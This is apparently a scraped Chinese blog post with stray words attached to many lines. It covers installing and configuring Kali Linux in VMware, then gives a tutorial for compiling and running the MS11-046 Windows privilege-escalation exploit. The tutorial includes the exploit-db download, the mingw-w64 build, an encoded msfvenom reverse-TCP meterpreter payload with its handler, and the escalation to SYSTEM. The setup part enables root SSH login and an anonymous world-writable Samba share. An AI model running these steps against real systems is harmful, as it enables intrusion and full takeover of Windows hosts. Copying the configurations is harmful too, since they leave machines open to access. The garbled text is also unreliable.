這是在虛擬機安裝下面是介紹kali linux***操做系統html
Kali百度百科:https://baike.baidu.com/item/Kali%20linux/8305689?fr=aladdinlinux
Kali wiki:https://en.wikipedia.org/wiki/Kaliweb
Kali官網:https://www.kali.org/shell
Kali Linux是基於Debian的Linux發行版,設計用於數字取證操做系統。Kali Linux預裝了許多***測試軟件,包括nmap、Wireshark、John the Ripper,以及Aircrack-ng.用戶可經過硬盤、live CD或live USB運行Kali Linux。Kali Linux既有32位和64位的鏡像。可用於x86指令集。同時還有基於ARM架構的鏡像,可用於樹莓派和三星的ARM Chromebookapache
綜上可知,Kali是一款安全研究人員使用的Linux發行版系統。windows
本部分安裝時安裝在VMware的虛擬機。安全
操做系統:Windows10 64位bash
VMware:VMware 12服務器
Kali:kali-linux-2018.2-vm-amd64.ova架構
Kali通用下載:https://www.kali.org/downloads/
Kali下載鏈接:https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-hyperv-image-download/
Kali系統官方提供能夠直接導入VM的OVA系統。如下是下載的過程截圖。若是版本更新能夠在Kali的官網下載地址找到更新版本。
下載之後,雙擊下載的「kali-linux-2018.2-vm-amd64.ova」(注意:此時已經安裝了VMware,並且沒有安裝其餘虛擬機,因此默承認以使用VMware打開這種格式的文件)而後導入便可,導入過程能夠選擇虛擬機的存儲路徑。導入後開機。
初始用戶:root
初始密碼:toor
導入後界面
記錄下簡單安裝的步驟
由於Kali中已經集成了不少工具,因此初次使用,能夠配置一下使Kali用起來更駕輕就熟。
準備工做:先查看VMtools是默認生效的(開機後須要有個反應時間)
alias,經常使用命令的命令別名開啓(默認ll命令不是ls -l的別名)
123456789101112131415161718 | 1 切換到用戶的主目錄: 2 cd 3 用vi編輯.bashrc,這個文件開機後自動生效裏面的別名: 4 vi .bashrc 5 把下面的行去掉註釋: 6 alias ls= 'ls --color=auto' 7 alias dir= 'dir --color=auto' 8 alias vdir= 'vdir --color=auto' 9 10 alias grep= 'grep --color=auto' 11 alias fgrep= 'fgrep --color=auto' 12 alias egrep= 'egrep --color=auto' 13 14 alias ll= 'ls -l' 15 alias la= 'ls -A' 16 alias l='ls -CF 17 而後保存退出,而後生效當前配置: 18 source .bashrc |
把桌面目錄的文件轉移到文檔目錄:
1 | 1 mv /root/Desktop/* /root/Documents/ |
語言設置中文
12345678910111213141516 | 1 備份原配置: 2 mv /etc/ default /locale /etc/ default /locale.backup`date "+%Y%m%d" ` 3 查看如今的系統語言環境: 4 echo $LANG 5 locale 6 修改配置: 7 vi /etc/ default /locale 8 修改後的配置: 9 LANG= "zh_CN.UTF-8" 10 LANGUAGE= "zh_CN:zh" 11 LC_ALL= "zh_CN.UTF-8" 12 修改後馬上生效: 13 source /etc/ default /locale 14 查看是否生效: 15 echo $LANG 16 locale |
取消自動鎖屏
點擊設置,而後點擊,以下圖所示:
添加ssh開機自啓動:
12345678 | 1 查看ssh運行狀態: 2 /etc/init.d/ssh status 3 啓動ssh: 4 /etc/init.d/ssh start 5 開機自啓動配置: 6 systemctl enable ssh.service 7 或者 8 update-rc.d ssh enable |
修改配置讓ssh容許root登陸:
12345678910 | 1 編輯ssh配置文件: 2 vi /etc/ssh/sshd_config 3 4 在查找模式/Per能夠查找到對應開啓容許root登陸的行(第32行,也能夠按數字32而後按gg便可。) 5 原來這行配置: 6 PermitRootLogin prohibit-password 7 修改後這行的配置: 8 PermitRootLogin yes 9 而後保存退出。而後重啓ssh服務便可: 10 /etc/init.d/ssh restart |
Kali默認已經安裝了samba服務程序,可是並無設置開機自啓動。
配置文件修改
12345678910111213141516 | 1 備份配置文件: 2 cp /etc/samba/smb.conf /etc/samba/smb.conf.backup`date "+%Y%m%d" ` 3 修改配置文件: 4 >/etc/samba/smb.conf 5 vi /etc/samba/smb.conf 6 下面是具體配置內容: 7 [global] 8 map to guest = Bad User 9 [Share] 10 path = /root/Public 11 public = yes 12 writable = yes 13 available = yes 14 browseable = yes 15 須要修改samba的根目錄的權限設置爲777,不然不能匿名登陸: 16 chmode 777 /root/Public |
啓動samba
1234 | 1 啓動方式 2 建議使用的方式:/etc/init.d/smbd start 3 或者: 4 systemctl start smbd.service |
開機自啓動
1234 | 1 開機自啓動方法: 2 update-rc.d smbd enable 3 或者 4 systemctl enable smbd.service |
搜狗輸入法Debian系統安裝包網址:https://pinyin.sogou.com/linux/
能夠下載到windows系統本地而後經過samba服務傳入Kali或者直接經過鼠標拖拽進Kali系統的桌面。
準備環境
1 | 1 apt-get install fcitx -y |
安裝過程
首先查看安裝包:
123 | 1 ll 2 總用量 22380 3 -rwxr--r-- 1 root root 22915896 7月 16 08:12 sogoupinyin_2.2.0.0108_amd64.deb |
安裝離線安裝包(這個過程會報錯):
1234567 | 1 dpkg -i sogoupinyin_2.2.0.0108_amd64.deb 2 這個過程會報錯: 3 ...... 4 正在處理用於 shared-mime-info (1.9-2) 的觸發器 ... 5 正在處理用於 hicolor-icon-theme (0.17-2) 的觸發器 ... 6 在處理時有錯誤發生: 7 sogoupinyin |
而後執行下面命令:
1 | 1 apt --fix-broken install |
而後再次安裝:
1 | 1 dpkg -i sogoupinyin_2.2.0.0108_amd64.deb |
此時安裝完成。進入Kali能夠經過shift按鍵切換中文搜狗輸入法。
如何在kali linux上編譯windows漏洞!
mingw-w64是一個用於建立windows應用程序的自由和開源軟件開發環境。 mingw-w64最初叫mingw32,它當時不支持64位架構。在本教程中,咱們將討論如何使用mingw-64在 kali linux上編譯windows漏洞。 讓咱們開始在kali linux上安裝mingw-w64。
mingw-w64是一個用於建立windows應用程序的自由和開源軟件開發環境。 mingw-w64最初叫mingw32,它當時不支持64位架構。
在本教程中,咱們將討論如何使用mingw-64在 kali linux上編譯windows漏洞。 讓咱們開始在kali linux上安裝mingw-w64。
一、在kali linux上安裝mingw-w64
默認狀況下,kali linux 2016.2和更低版本上未安裝mingw-w64。 所以,咱們須要先安裝它,而後才能在linux上編譯windows漏洞。 執行如下命令,安裝mingw-w64:
apt-get update apt-get install mingw-w64
使用apt-get install mingw-w64在您的kali主機上安裝mingw-w64。
鍵入y爲yes,以確認並繼續mingw-w64安裝過程。 下載和安裝mingw-w64可能須要一段時間才能完成。
二、沒法找到程序包mingw-w64的解決方法
有時,你嘗試安裝mingw-w64包時獲得一個沒法找到包mingw-w64的錯誤,並獲得相似以下提示:
root@kali:~# apt-getinstall mingw-w64 reading package lists…done building dependency tree reading stateinformation… done e: unable to locatepackage mingw-w64
要解決這個問題,請確保在sources.list文件中具備正確的存儲庫。您可使用nano編輯文件:
/etc/apt/sources.list
確保您在此文件中具備正確的存儲庫。 您能夠在如下頁面上找到不一樣版本的kali linux的存儲庫:
使用sources.list文件中的正確的存儲庫,您須要運行apt-get update,而後再次運行mingw-w64軟件包的安裝命令。
三、用mingw-w64交叉編譯windows漏洞利用
如今咱們已經安裝了mingw-w64,能夠開始編譯windows漏洞利用程序了。 對於本教程,咱們將編譯一個用c編寫的windows漏洞利用程序,以利用windows 7 sp0 x86中的cve-2011-1249(ms11-046)漏洞。 此版本的windows操做系統在輔助功能驅動程序(afd)中包含一個漏洞,容許已認證的非管理用戶提高權限。即便mingw-w64是爲很是須要的64位支持開發的,咱們也能夠編譯32位windows漏洞。 讓咱們來看看如何編譯32位windows漏洞。
讓咱們從exploit-db下載漏洞:
wget --output-document= 40564.c https://www.exploit-db.com/download/40564
使用如下命令編譯windows 32位的afd.sys exploit:
i686-w64-mingw32-gcc[input file: source]–o [output file: .exe]-lws2_32
如下命令將編譯windows 7 afd.sys特權升級漏洞:
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
編譯windows漏洞。
要將漏洞利用程序轉移到目標主機,咱們將使用內置的apacheweb服務器來提供它。 最後2個命令會將exploit複製到apache主目錄並啓動apache web服務器。
當咱們從cmd.exe下載並執行該漏洞時,它將以下所示:
漏洞利用成功執行。
由於咱們能夠看到whoami命令在執行exploit以前返回一個普通用戶權限,以後顯示是system用戶權限。這個exploit實際上在當前shell中生成一個新的shell,而不是在新窗口中建立一個新的shell。這意味着咱們也能夠從命令行shell運行此漏洞利用程序,例如meterpreter。讓咱們看看如何從meterpreter會話運行漏洞利用。
四、利用編譯錯誤
當編譯針對不一樣架構和操做系統的漏洞時,可能會發生許多錯誤。有不少因素可能致使編譯失敗,例如:語法,庫,主機和目標體系結構,用於編譯代碼的已安裝軟件等等。一些錯誤可能很容易修復,有些錯誤則不是。一樣重要的是不一樣的警告來自致命的錯誤,由於警告可能只是指示一些相似的過期的功能,不能阻止漏洞的工做。致命錯誤會阻止漏洞利用,所以須要修復。
處理編譯錯誤的最佳方法是仔細閱讀,而後在google上搜索解決方案。一般你不是第一個也不是惟一面對某個編譯錯誤的人,所以沒有必要從新發明輪子。在線資源(如堆棧交換)一般爲您提供最多見的編譯錯誤的可能解決方案。
五、從meterpreter shell中利用ms11-046
讓咱們使用msfvenom快速生成windows 32位meterpreter反向tcp有效負載,並在目標主機上執行它。 咱們將在metasploit中使用多處理程序來捕獲反向shell。
使用如下命令使用msfvenom建立有效負載:
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcplhost=[ip attackbox] lport=4444 -e x86/shikata_ga_nai –f exe –o exploit.exe
請務必更換偵聽主機ip,必要時更換偵聽端口。如今啓動msfconsole並運行如下命令來設置多處理器漏洞:
use exploit/multi/handler set lhost [listening host ip] set lport 4444 run
在端口4444上啓動反向tcp處理程序。
而後下載利用程序到目標主機並執行它。 若是一切設置正確,您應該在msfconsole上收到一個反向meterpreter shell:
目標主機鏈接回kali。
在meterpreter命令行上運行下一「shell」命令並運行特權升級漏洞利用程序將shell升級到系統shell:
特權升級***經過咱們的meterpreter會話成功執行。
正如你能夠看到的,shell從特權測試用戶shell變化到系統shell。 請注意,在執行它的shell中生成一個新的系統shell。 所以,咱們不能看到利用輸出,由於它是在有限的特權的舊shell。
您能夠經過鍵入exit來驗證這一點,將退出系統shell並返回到仍包含windows 7權限升級exploit輸出的用戶shell:
特權用戶shell上的exploit輸出。
學到的東西
在本教程中,咱們已經瞭解了在linux上針對windows的交叉編譯漏洞的基礎知識。 咱們已經學習瞭如何在kali linux上安裝mingw-w64並解決最多見的安裝問題。 爲了練習漏洞編譯過程,咱們編譯了一個針對windows7 x86的特權提高漏洞。 這也稱爲交叉編譯。
咱們已成功的在目標主機上執行已編譯的可執行文件,並將shell從有限的用戶shell升級到系統shell。 咱們已經知道,這個特殊的exploit在shell中生成了一個shell,在這個shell中執行了exploit。 這樣,咱們還能夠從命令行(例如meterpreter shell)執行特權提高漏洞利用。